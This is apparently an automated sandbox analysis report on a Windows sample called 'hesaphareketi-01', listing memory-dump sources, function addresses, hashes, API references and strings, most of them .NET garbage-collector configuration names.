Source File: 00000000.00000002.1223360670.00007FF7341D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7341D0000, based on PE: true

Associated: 00000000.00000002.1223342527.00007FF7341D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223452020.00007FF7342FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223494141.00007FF73434D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223544121.00007FF7343CA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223544121.00007FF7343D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223581157.00007FF7343D8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7341d0000_hesaphareketi-01.jbxd

Yara matches

Similarity

API ID: ExceptionFailFastQueryRaiseVirtual
String ID:
API String ID: 3307674043-0
Opcode ID: 2c91771eec3dc57a2273c33921620eef897886fe8a235db23191d302b680ff9f
Instruction ID: 2db8bed71c21836086418eb5549736442a17e91035ce66726dcf2217fc3461c7
Opcode Fuzzy Hash: 2c91771eec3dc57a2273c33921620eef897886fe8a235db23191d302b680ff9f
Instruction Fuzzy Hash: 4711947250878192DB18EF26B4411AAB360FB457B4F444335EABD8B7D5DF39D0028700

Function 00007FF7341E27D0 Relevance: 1.3, APIs: 1, Instructions: 7COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE ref: 00007FF7341E27DA

Memory Dump Source

Source File: 00000000.00000002.1223360670.00007FF7341D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7341D0000, based on PE: true

Associated: 00000000.00000002.1223342527.00007FF7341D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223452020.00007FF7342FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223494141.00007FF73434D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223544121.00007FF7343CA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223544121.00007FF7343D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223581157.00007FF7343D8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7341d0000_hesaphareketi-01.jbxd

Yara matches

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: f9194b57a0946cc2409ad4d497bf7a480cce94f9d72206b6568b2ab60965888a
Instruction ID: 75e1edefb8e820626fd8809e94a750a5a93c5a5b551f5f04f3c5f2121151ef2c
Opcode Fuzzy Hash: f9194b57a0946cc2409ad4d497bf7a480cce94f9d72206b6568b2ab60965888a
Instruction Fuzzy Hash: BFB01210F16011C2E3083B237CC271802142B49B12FD50028C608F2350CD2C91E52B21

Non-executed Functions

Function 00007FF7341E2A60 Relevance: 111.8, Strings: 89, Instructions: 525COMMON

Download Yara Rule

Strings

BGCFLEnableSmooth, xrefs: 00007FF7341E319D
System.GC.HeapAffinitizeRanges, xrefs: 00007FF7341E2DB0, 00007FF7341E2DD1
NoAffinitize, xrefs: 00007FF7341E2B62
System.GC.CpuGroup, xrefs: 00007FF7341E2BD8
GCRegionSize, xrefs: 00007FF7341E2F17
BreakOnOOM, xrefs: 00007FF7341E2B2F
ConcurrentGC, xrefs: 00007FF7341E2AB5
GCConserveMem, xrefs: 00007FF7341E330E
GCRegionRange, xrefs: 00007FF7341E2EF9
LogFileSize, xrefs: 00007FF7341E2D52
GCEnableSpecialRegions, xrefs: 00007FF7341E2F35
GCLargePages, xrefs: 00007FF7341E2C12
GCProvModeStress, xrefs: 00007FF7341E2E1F
System.GC.HighMemoryPercent, xrefs: 00007FF7341E2DFD
LOHThreshold, xrefs: 00007FF7341E2C5E
GCGen1MaxBudget, xrefs: 00007FF7341E2E5B, 00007FF7341E2EDB
BGCFLkp, xrefs: 00007FF7341E3071
SegmentSize, xrefs: 00007FF7341E2CF8
System.GC.HeapHardLimitPOH, xrefs: 00007FF7341E3259
HeapVerifyLevel, xrefs: 00007FF7341E2C22
ConservativeGC, xrefs: 00007FF7341E2AC8
GCHeapHardLimitPOHPercent, xrefs: 00007FF7341E32CE
GCHeapHardLimitLOHPercent, xrefs: 00007FF7341E32AF
System.GC.HeapCount, xrefs: 00007FF7341E2CB8
ServerGC, xrefs: 00007FF7341E2A8A
System.GC.Name, xrefs: 00007FF7341E3342, 00007FF7341E335A
System.GC.HeapHardLimitLOHPercent, xrefs: 00007FF7341E32A5
BGCSpinCount, xrefs: 00007FF7341E2C7C
BGCFLff, xrefs: 00007FF7341E30CB
BGCFLEnableFF, xrefs: 00007FF7341E31D9
LatencyMode, xrefs: 00007FF7341E2D16
System.GC.LargePages, xrefs: 00007FF7341E2C08
System.GC.HeapHardLimit, xrefs: 00007FF7341E2E97
System.GC.Server, xrefs: 00007FF7341E2A7B
BGCMemGoal, xrefs: 00007FF7341E2FF9
Gen0Size, xrefs: 00007FF7341E2CDA
BGCFLSmoothFactor, xrefs: 00007FF7341E30E9
GCWriteBarrier, xrefs: 00007FF7341E3321
System.GC.Concurrent, xrefs: 00007FF7341E2AA3
BGCFLTuningEnabled, xrefs: 00007FF7341E2FDB
GCHeapHardLimitPOH, xrefs: 00007FF7341E3268
BGCFLki, xrefs: 00007FF7341E308F
BGCFLGradualD, xrefs: 00007FF7341E3107
System.GC.HeapHardLimitPOHPercent, xrefs: 00007FF7341E32BF
BGCG2RatioStep, xrefs: 00007FF7341E31F7
GCHeapHardLimitSOHPercent, xrefs: 00007FF7341E328A
GCNumaAware, xrefs: 00007FF7341E2BB7
ConfigLogFile, xrefs: 00007FF7341E2FAD
GCLogFile, xrefs: 00007FF7341E2F58
BGCSpin, xrefs: 00007FF7341E2C9A
GCHighMemPercent, xrefs: 00007FF7341E2E0C
System.GC.RetainVM, xrefs: 00007FF7341E2B0A
System.GC.HeapHardLimitLOH, xrefs: 00007FF7341E3237
System.GC.NoAffinitize, xrefs: 00007FF7341E2B50
CompactRatio, xrefs: 00007FF7341E2D70
BGCFLSweepGoal, xrefs: 00007FF7341E3035
System.GC.HeapHardLimitSOHPercent, xrefs: 00007FF7341E327B
System.GC.HeapHardLimitPercent, xrefs: 00007FF7341E2EB9
GCCpuGroup, xrefs: 00007FF7341E2BEA
GCLowSkipRatio, xrefs: 00007FF7341E2E79
BGCMLki, xrefs: 00007FF7341E3143
BGCFLEnableKd, xrefs: 00007FF7341E317F
BGCMemGoalSlack, xrefs: 00007FF7341E3017
GCConfigLogFile, xrefs: 00007FF7341E2F9C
GCGen0MaxBudget, xrefs: 00007FF7341E2E3D
BGCFLSweepGoalLOH, xrefs: 00007FF7341E3053
GCName, xrefs: 00007FF7341E3349, 00007FF7341E336C
GCEnabledInstructionSets, xrefs: 00007FF7341E32E1
GCHeapHardLimit, xrefs: 00007FF7341E2EA6
LogEnabled, xrefs: 00007FF7341E2B75
System.GC.HeapHardLimitSOH, xrefs: 00007FF7341E3215
HeapCount, xrefs: 00007FF7341E2CC7
GCHeapAffinitizeRanges, xrefs: 00007FF7341E2DBC, 00007FF7341E2DDD
RetainVM, xrefs: 00007FF7341E2B1C
BGCFLkd, xrefs: 00007FF7341E30AD
LatencyLevel, xrefs: 00007FF7341E2D34
BGCFLEnableTBH, xrefs: 00007FF7341E31BB
LOHCompactionMode, xrefs: 00007FF7341E2C40
GCHeapHardLimitLOH, xrefs: 00007FF7341E3246
GCHeapHardLimitSOH, xrefs: 00007FF7341E3224
System.GC.ConserveMemory, xrefs: 00007FF7341E32FF
BGCMLkp, xrefs: 00007FF7341E3130
System.GC.HeapAffinitizeMask, xrefs: 00007FF7341E2D8E
LogFile, xrefs: 00007FF7341E2F69
ForceCompact, xrefs: 00007FF7341E2AE9
ConfigLogEnabled, xrefs: 00007FF7341E2B96
BGCFLEnableKi, xrefs: 00007FF7341E3161
GCHeapAffinitizeMask, xrefs: 00007FF7341E2D9D
GCHeapHardLimitPercent, xrefs: 00007FF7341E2EC8

Memory Dump Source

Source File: 00000000.00000002.1223360670.00007FF7341D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7341D0000, based on PE: true

Associated: 00000000.00000002.1223342527.00007FF7341D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223452020.00007FF7342FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223494141.00007FF73434D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223544121.00007FF7343CA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223544121.00007FF7343D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223581157.00007FF7343D8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7341d0000_hesaphareketi-01.jbxd

Yara matches

Similarity

API ID:
String ID: BGCFLEnableFF$BGCFLEnableKd$BGCFLEnableKi$BGCFLEnableSmooth$BGCFLEnableTBH$BGCFLGradualD$BGCFLSmoothFactor$BGCFLSweepGoal$BGCFLSweepGoalLOH$BGCFLTuningEnabled$BGCFLff$BGCFLkd$BGCFLki$BGCFLkp$BGCG2RatioStep$BGCMLki$BGCMLkp$BGCMemGoal$BGCMemGoalSlack$BGCSpin$BGCSpinCount$BreakOnOOM$CompactRatio$ConcurrentGC$ConfigLogEnabled$ConfigLogFile$ConservativeGC$ForceCompact$GCConfigLogFile$GCConserveMem$GCCpuGroup$GCEnableSpecialRegions$GCEnabledInstructionSets$GCGen0MaxBudget$GCGen1MaxBudget$GCHeapAffinitizeMask$GCHeapAffinitizeRanges$GCHeapHardLimit$GCHeapHardLimitLOH$GCHeapHardLimitLOHPercent$GCHeapHardLimitPOH$GCHeapHardLimitPOHPercent$GCHeapHardLimitPercent$GCHeapHardLimitSOH$GCHeapHardLimitSOHPercent$GCHighMemPercent$GCLargePages$GCLogFile$GCLowSkipRatio$GCName$GCNumaAware$GCProvModeStress$GCRegionRange$GCRegionSize$GCWriteBarrier$Gen0Size$HeapCount$HeapVerifyLevel$LOHCompactionMode$LOHThreshold$LatencyLevel$LatencyMode$LogEnabled$LogFile$LogFileSize$NoAffinitize$RetainVM$SegmentSize$ServerGC$System.GC.Concurrent$System.GC.ConserveMemory$System.GC.CpuGroup$System.GC.HeapAffinitizeMask$System.GC.HeapAffinitizeRanges$System.GC.HeapCount$System.GC.HeapHardLimit$System.GC.HeapHardLimitLOH$System.GC.HeapHardLimitLOHPercent$System.GC.HeapHardLimitPOH$System.GC.HeapHardLimitPOHPercent$System.GC.HeapHardLimitPercent$System.GC.HeapHardLimitSOH$System.GC.HeapHardLimitSOHPercent$System.GC.HighMemoryPercent$System.GC.LargePages$System.GC.Name$System.GC.NoAffinitize$System.GC.RetainVM$System.GC.Server
API String ID: 0-658696054
Opcode ID: 5d91cec8345dcd14847125137ea3c03a11dcadacceb965cd2ffe1bbf1cb37226
Instruction ID: b3ec5d9b7d4965ddaaec48987e0ca1efd0a1cd788b8f356db3d72bb76bac6a9a
Opcode Fuzzy Hash: 5d91cec8345dcd14847125137ea3c03a11dcadacceb965cd2ffe1bbf1cb37226
Instruction Fuzzy Hash: 6E329F72A08A57A2EB68AF56FC90AA9A364FF457C8FC11136D98C53F24DF3CD2019714

Function 00007FF7341E3720 Relevance: 102.8, Strings: 82, Instructions: 270COMMON

Download Yara Rule

Strings

BGCFLEnableSmooth, xrefs: 00007FF7341E3BDB
System.GC.CpuGroup, xrefs: 00007FF7341E384D
GCRegionSize, xrefs: 00007FF7341E3A76
GCLOHThreshold, xrefs: 00007FF7341E38B9
gcForceCompact, xrefs: 00007FF7341E3788
GCRetainVM, xrefs: 00007FF7341E37A8
GCRegionRange, xrefs: 00007FF7341E3A61
GCLogFileSize, xrefs: 00007FF7341E3966
GCEnableSpecialRegions, xrefs: 00007FF7341E3A8B
GCLargePages, xrefs: 00007FF7341E3874
GCProvModeStress, xrefs: 00007FF7341E39C4
System.GC.HighMemoryPercent, xrefs: 00007FF7341E39A8
GCGen1MaxBudget, xrefs: 00007FF7341E39EE
GCNoAffinitize, xrefs: 00007FF7341E37E3
BGCFLkp, xrefs: 00007FF7341E3B09
System.GC.HeapHardLimitPOH, xrefs: 00007FF7341E3C61
GCConfigLogEnabled, xrefs: 00007FF7341E3819
GCgen0size, xrefs: 00007FF7341E3912
GCHeapHardLimitPOHPercent, xrefs: 00007FF7341E3CB6
GCHeapHardLimitLOHPercent, xrefs: 00007FF7341E3C9C
System.GC.HeapCount, xrefs: 00007FF7341E38F6
GCHeapCount, xrefs: 00007FF7341E38FD
GCConserveMemory, xrefs: 00007FF7341E3CE5
System.GC.HeapHardLimitLOHPercent, xrefs: 00007FF7341E3C95
BGCSpinCount, xrefs: 00007FF7341E38CE
BGCFLff, xrefs: 00007FF7341E3B48
BGCFLEnableFF, xrefs: 00007FF7341E3C05
System.GC.LargePages, xrefs: 00007FF7341E386D
System.GC.HeapHardLimit, xrefs: 00007FF7341E3A16
System.GC.Server, xrefs: 00007FF7341E372B
BGCMemGoal, xrefs: 00007FF7341E3AB5
BGCFLSmoothFactor, xrefs: 00007FF7341E3B5D
GCWriteBarrier, xrefs: 00007FF7341E3CFA
System.GC.Concurrent, xrefs: 00007FF7341E374B
BGCFLTuningEnabled, xrefs: 00007FF7341E3AA0
GCHeapHardLimitPOH, xrefs: 00007FF7341E3C68
gcServer, xrefs: 00007FF7341E3732
HeapVerify, xrefs: 00007FF7341E388F
GCLatencyLevel, xrefs: 00007FF7341E3951
BGCFLki, xrefs: 00007FF7341E3B1E
BGCFLGradualD, xrefs: 00007FF7341E3B72
System.GC.HeapHardLimitPOHPercent, xrefs: 00007FF7341E3CAF
GCCompactRatio, xrefs: 00007FF7341E397B
GCTotalPhysicalMemory, xrefs: 00007FF7341E3A4C
BGCG2RatioStep, xrefs: 00007FF7341E3C1A
GCHeapHardLimitSOHPercent, xrefs: 00007FF7341E3C82
GCNumaAware, xrefs: 00007FF7341E3834
gcConservative, xrefs: 00007FF7341E376D
BGCSpin, xrefs: 00007FF7341E38E3
GCHighMemPercent, xrefs: 00007FF7341E39AF
GCLogEnabled, xrefs: 00007FF7341E37FE
System.GC.RetainVM, xrefs: 00007FF7341E37A1
GCLatencyMode, xrefs: 00007FF7341E393C
System.GC.HeapHardLimitLOH, xrefs: 00007FF7341E3C47
GCLOHCompact, xrefs: 00007FF7341E38A4
System.GC.NoAffinitize, xrefs: 00007FF7341E37DC
BGCFLSweepGoal, xrefs: 00007FF7341E3ADF
System.GC.HeapHardLimitSOHPercent, xrefs: 00007FF7341E3C7B
System.GC.HeapHardLimitPercent, xrefs: 00007FF7341E3A30
GCCpuGroup, xrefs: 00007FF7341E3854
GCLowSkipRatio, xrefs: 00007FF7341E3A03
BGCMLki, xrefs: 00007FF7341E3B9C
BGCFLEnableKd, xrefs: 00007FF7341E3BC6
BGCMemGoalSlack, xrefs: 00007FF7341E3ACA
GCGen0MaxBudget, xrefs: 00007FF7341E39D9
BGCFLSweepGoalLOH, xrefs: 00007FF7341E3AF4
gcConcurrent, xrefs: 00007FF7341E3752
GCEnabledInstructionSets, xrefs: 00007FF7341E3CCB
GCHeapHardLimit, xrefs: 00007FF7341E3A1D
GCSegmentSize, xrefs: 00007FF7341E3927
System.GC.HeapHardLimitSOH, xrefs: 00007FF7341E3C2D
BGCFLkd, xrefs: 00007FF7341E3B33
GCBreakOnOOM, xrefs: 00007FF7341E37C3
BGCFLEnableTBH, xrefs: 00007FF7341E3BF0
GCHeapHardLimitLOH, xrefs: 00007FF7341E3C4E
GCHeapHardLimitSOH, xrefs: 00007FF7341E3C34
System.GC.ConserveMemory, xrefs: 00007FF7341E3CDE
BGCMLkp, xrefs: 00007FF7341E3B87
System.GC.HeapAffinitizeMask, xrefs: 00007FF7341E398E
BGCFLEnableKi, xrefs: 00007FF7341E3BB1
GCHeapAffinitizeMask, xrefs: 00007FF7341E3995
GCHeapHardLimitPercent, xrefs: 00007FF7341E3A37

Memory Dump Source

Source File: 00000000.00000002.1223360670.00007FF7341D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7341D0000, based on PE: true

Associated: 00000000.00000002.1223342527.00007FF7341D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223452020.00007FF7342FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223494141.00007FF73434D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223544121.00007FF7343CA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223544121.00007FF7343D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223581157.00007FF7343D8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7341d0000_hesaphareketi-01.jbxd

Yara matches

Similarity

API ID:
String ID: BGCFLEnableFF$BGCFLEnableKd$BGCFLEnableKi$BGCFLEnableSmooth$BGCFLEnableTBH$BGCFLGradualD$BGCFLSmoothFactor$BGCFLSweepGoal$BGCFLSweepGoalLOH$BGCFLTuningEnabled$BGCFLff$BGCFLkd$BGCFLki$BGCFLkp$BGCG2RatioStep$BGCMLki$BGCMLkp$BGCMemGoal$BGCMemGoalSlack$BGCSpin$BGCSpinCount$GCBreakOnOOM$GCCompactRatio$GCConfigLogEnabled$GCConserveMemory$GCCpuGroup$GCEnableSpecialRegions$GCEnabledInstructionSets$GCGen0MaxBudget$GCGen1MaxBudget$GCHeapAffinitizeMask$GCHeapCount$GCHeapHardLimit$GCHeapHardLimitLOH$GCHeapHardLimitLOHPercent$GCHeapHardLimitPOH$GCHeapHardLimitPOHPercent$GCHeapHardLimitPercent$GCHeapHardLimitSOH$GCHeapHardLimitSOHPercent$GCHighMemPercent$GCLOHCompact$GCLOHThreshold$GCLargePages$GCLatencyLevel$GCLatencyMode$GCLogEnabled$GCLogFileSize$GCLowSkipRatio$GCNoAffinitize$GCNumaAware$GCProvModeStress$GCRegionRange$GCRegionSize$GCRetainVM$GCSegmentSize$GCTotalPhysicalMemory$GCWriteBarrier$GCgen0size$HeapVerify$System.GC.Concurrent$System.GC.ConserveMemory$System.GC.CpuGroup$System.GC.HeapAffinitizeMask$System.GC.HeapCount$System.GC.HeapHardLimit$System.GC.HeapHardLimitLOH$System.GC.HeapHardLimitLOHPercent$System.GC.HeapHardLimitPOH$System.GC.HeapHardLimitPOHPercent$System.GC.HeapHardLimitPercent$System.GC.HeapHardLimitSOH$System.GC.HeapHardLimitSOHPercent$System.GC.HighMemoryPercent$System.GC.LargePages$System.GC.NoAffinitize$System.GC.RetainVM$System.GC.Server$gcConcurrent$gcConservative$gcForceCompact$gcServer
API String ID: 0-2080704861
Opcode ID: 1d9ea1ae8f7853fcbb2035dbdcf46aaac34e09551b1d5d4f4f36f9c21da8c312
Instruction ID: 4455bb8e0129b268600fb97e804e79cbe7302804592aaea192f6a25a67079936
Opcode Fuzzy Hash: 1d9ea1ae8f7853fcbb2035dbdcf46aaac34e09551b1d5d4f4f36f9c21da8c312
Instruction Fuzzy Hash: C2F1D792E29947B0EE08FF57ECD01F4A365AF86310BC5407AD04DE70659E7CA649E3B4

Function 00007FF7341E2890 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81memoryCOMMON

Download Yara Rule

APIs

LookupPrivilegeValueW.ADVAPI32 ref: 00007FF7341E28CC
GetCurrentProcess.KERNEL32 ref: 00007FF7341E28F4
OpenProcessToken.ADVAPI32 ref: 00007FF7341E2907
AdjustTokenPrivileges.ADVAPI32 ref: 00007FF7341E292C
GetLastError.KERNEL32 ref: 00007FF7341E2934
CloseHandle.KERNEL32 ref: 00007FF7341E2941
GetLargePageMinimum.KERNEL32 ref: 00007FF7341E2956
VirtualAlloc.KERNEL32 ref: 00007FF7341E2987
GetCurrentProcess.KERNEL32 ref: 00007FF7341E2993
VirtualAllocExNuma.KERNEL32 ref: 00007FF7341E29B3

Strings

SeLockMemoryPrivilege, xrefs: 00007FF7341E28C5

Memory Dump Source

Source File: 00000000.00000002.1223360670.00007FF7341D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7341D0000, based on PE: true

Associated: 00000000.00000002.1223342527.00007FF7341D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223452020.00007FF7342FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223494141.00007FF73434D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223544121.00007FF7343CA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223544121.00007FF7343D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223581157.00007FF7343D8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7341d0000_hesaphareketi-01.jbxd

Yara matches

Similarity

API ID: Process$AllocCurrentTokenVirtual$AdjustCloseErrorHandleLargeLastLookupMinimumNumaOpenPagePrivilegePrivilegesValue
String ID: SeLockMemoryPrivilege
API String ID: 1752251271-475654710
Opcode ID: 1a2862dd90dccfa9a81e54bf5d2b295596dc0d2044562f65404962315b9e1cb2
Instruction ID: 5c1c430c09f94b13ad46b00898d99c56344a92f364762969ed309638bacde55c
Opcode Fuzzy Hash: 1a2862dd90dccfa9a81e54bf5d2b295596dc0d2044562f65404962315b9e1cb2
Instruction Fuzzy Hash: 6131D635A0CA5292FB68AF62F89437AE7A1FF84B84F841039DA4D97754CE3DD444D720

Function 00007FF7341D7EC0 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 248COMMON

Download Yara Rule

APIs

RaiseFailFastException.KERNEL32(?,?,00000000,00000000,00000000,?,00007FF7341D8880,?,?,?,?,?,?,?,?,?), ref: 00007FF7341D7F4B
RaiseFailFastException.KERNEL32(?,?,00000000,00000000,00000000,?,00007FF7341D8880,?,?,?,?,?,?,?,?,?), ref: 00007FF7341D80AA
RaiseFailFastException.KERNEL32(?,?,00000000,00000000,00000000,?,00007FF7341D8880,?,?,?,?,?,?,?,?,?), ref: 00007FF7341D81A0
RaiseFailFastException.KERNEL32(?,?,00000000,00000000,00000000,?,00007FF7341D8880,?,?,?,?,?,?,?,?,?), ref: 00007FF7341D81B6
RaiseFailFastException.KERNEL32(?,?,00000000,00000000,00000000,?,00007FF7341D8880,?,?,?,?,?,?,?,?,?), ref: 00007FF7341D8216

Strings

[ KeepUnwinding ], xrefs: 00007FF7341D81CA

Memory Dump Source

Source File: 00000000.00000002.1223360670.00007FF7341D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7341D0000, based on PE: true

Associated: 00000000.00000002.1223342527.00007FF7341D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223452020.00007FF7342FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223494141.00007FF73434D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223544121.00007FF7343CA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223544121.00007FF7343D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223581157.00007FF7343D8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7341d0000_hesaphareketi-01.jbxd

Yara matches

Similarity

API ID: ExceptionFailFastRaise
String ID: [ KeepUnwinding ]
API String ID: 2546344036-400895726
Opcode ID: 915c5e9101982ef85af9a43bc3cfe156fed0120c7793f84e5fde07d7cabb1885
Instruction ID: 97e984fc0e202adb4403688058881808f34225ef3864d812f5122867e9725a75
Opcode Fuzzy Hash: 915c5e9101982ef85af9a43bc3cfe156fed0120c7793f84e5fde07d7cabb1885
Instruction Fuzzy Hash: B2C193B3609F42A5EF589F26E4802B973A1FB05B48F944135CE5D47368CF79E495D320

Function 00007FF7341D5270 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 193COMMON

Download Yara Rule

APIs

RaiseFailFastException.KERNEL32 ref: 00007FF7341D5581

Strings

The required instruction sets are not supported by the current CPU., xrefs: 00007FF7341D556E

Memory Dump Source

Source File: 00000000.00000002.1223360670.00007FF7341D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7341D0000, based on PE: true

Associated: 00000000.00000002.1223342527.00007FF7341D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223452020.00007FF7342FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223494141.00007FF73434D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223544121.00007FF7343CA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223544121.00007FF7343D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223581157.00007FF7343D8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7341d0000_hesaphareketi-01.jbxd

Yara matches

Similarity

API ID: ExceptionFailFastRaise
String ID: The required instruction sets are not supported by the current CPU.
API String ID: 2546344036-3318624164
Opcode ID: bf7b72df4d136d0aac6dca5c477934f391bb1e94f0d28fd6456ad0c696d7c5ec
Instruction ID: e89219c3fffb3c5fcc4abbd69c69869c00f4fff7466b9db3a8c08822db3fec83
Opcode Fuzzy Hash: bf7b72df4d136d0aac6dca5c477934f391bb1e94f0d28fd6456ad0c696d7c5ec
Instruction Fuzzy Hash: AB71A2A2B1CA3666FFAC6F0EE4C0974A6A0AF13758FD0003CD40AD7A55DE3DB4506A61

Function 00007FF7341FDC30 Relevance: 2.0, APIs: 1, Instructions: 456COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7341E1CC0: CreateEventW.KERNEL32 ref: 00007FF7341E1D01

Part of subcall function 00007FF7341E2690: QueryPerformanceCounter.KERNEL32 ref: 00007FF7341E2699

DebugBreak.KERNEL32 ref: 00007FF7341FE3EA

Memory Dump Source

Source File: 00000000.00000002.1223360670.00007FF7341D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7341D0000, based on PE: true

Associated: 00000000.00000002.1223342527.00007FF7341D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223452020.00007FF7342FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223494141.00007FF73434D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223544121.00007FF7343CA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223544121.00007FF7343D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223581157.00007FF7343D8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7341d0000_hesaphareketi-01.jbxd

Yara matches

Similarity

API ID: BreakCounterCreateDebugEventPerformanceQuery
String ID:
API String ID: 4239280443-0
Opcode ID: c34d052a868cd4b60924c0b1e92cbc460f46e007d6bb4a206f187a08c30cf7c3
Instruction ID: 4ca2f6ea7f4cc0e5c5d0290277e352dcb261c783032708703f58bfa4e0c19e77
Opcode Fuzzy Hash: c34d052a868cd4b60924c0b1e92cbc460f46e007d6bb4a206f187a08c30cf7c3
Instruction Fuzzy Hash: 43420F32D09B42A5EB58AF26B8C0264B3A4FF56744F90523DD99CA3771DF3CA591E320

Function 00007FF734201800 Relevance: 1.9, Strings: 1, Instructions: 621COMMON

Download Yara Rule

Strings

, xrefs: 00007FF734201DDC

Memory Dump Source

Source File: 00000000.00000002.1223360670.00007FF7341D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7341D0000, based on PE: true

Associated: 00000000.00000002.1223342527.00007FF7341D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223452020.00007FF7342FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223494141.00007FF73434D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223544121.00007FF7343CA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223544121.00007FF7343D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223581157.00007FF7343D8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7341d0000_hesaphareketi-01.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: 170f8f4704fea771372d3c5e4c17b39ad4eafef7f37a81aab25316a8070dc8bd
Instruction ID: 279d1f3980dc5910a3a270a4a62a38dfd96168bd73024b9cffe114f03f2fe745
Opcode Fuzzy Hash: 170f8f4704fea771372d3c5e4c17b39ad4eafef7f37a81aab25316a8070dc8bd
Instruction Fuzzy Hash: F852D932A08B86A6DA189F07E8D4278B3E5FF45794F940135DA5DA3790DF3EE450E321

Function 00007FF7341F7F10 Relevance: 1.7, Strings: 1, Instructions: 481COMMON

Download Yara Rule

Strings

========== ENDGC %d (gen = %lu, collect_classes = %lu) ===========}, xrefs: 00007FF7341F86FB

Memory Dump Source

